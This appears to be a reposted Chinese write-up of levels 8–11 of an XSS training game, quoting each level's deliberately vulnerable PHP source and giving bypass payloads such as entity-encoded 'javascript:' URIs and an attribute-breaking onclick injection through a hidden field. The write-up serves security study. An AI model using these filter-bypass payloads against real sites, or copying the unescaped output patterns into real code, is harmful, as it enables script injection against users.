xss小游戏源码分析 (3)

get方式传入keyword,strtolower()转换为小写,然后replace替换script,on,src,data,href,"("号html实体化了),然后发现又html实体化输入,似乎没有问题,然后发现友情链接,没有html实体化输入,可以尝试在这个位置绕过,但是都被过滤了,尝试编码绕过对JavaScript;alert('xss')编码(呸,不是编码)转义https://www.jianshu.com/p/6dcefb2a59b2(参考链接),目的是绕过replace,然后仍能被html解析

xss小游戏源码分析

payload: javascrip&#x74:alert('xss') javascrip&#x09t:alert('XSS') 第九关 查看源码: <!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level10.php?keyword=持之以恒"; } </script> <title>第9关</title> </head> <body> <h1 align=center>第9关 添加友连again</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="http://www.likecs.com/您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'http://www.likecs.com/.$str7.'">友情链接</a></center>'; } ?> <center><img src="http://dn-coding-net-tweet.codehub.cn/photo/2019/51fb4236-2965-42ab-851e-0ec266b3c3ba.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> </body> </html> 分析:

和第八关相同,只是判断链接是否合法,加上就可以了

payload: javascrip&#x74:alert('xss') //http:// 第十关 查看源码: <!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level11.php?keyword=自强不息"; } </script> <title>第10关</title> </head> <body> <h1 align=center>第10关 嗯 搜索又出现了</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input value="'.'" type="hidden"> <input value="'.'" type="hidden"> <input value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src="http://dn-coding-net-tweet.codehub.cn/photo/2019/fed9cb1c-3111-49a8-b111-16081ac4b16c.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html> 分析:

传入keyword和t_sort,keyword没有过滤,但是html实体化输出,而且没在标签内,所以应该没问题,看t_sort,过滤了< > ,而且没有实体化输出
尝试闭合引号

payload:

?keyword=123&t_sort=" type="text" onclick=alert('XSS') //

第十一关 查看源码: <!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level12.php?keyword=破釜沉舟"; } </script> <title>第11关</title> </head> <body> <h1 align=center>第11关 为什么这么多搜索呢</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input value="'.'" type="hidden"> <input value="'.'" type="hidden"> <input value="'.htmlspecialchars($str00).'" type="hidden"> <input value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src="http://dn-coding-net-tweet.codehub.cn/photo/2019/60a6e17f-c823-40c3-ab84-502b2f905456.jpg"></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html> 分析:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpfygj.html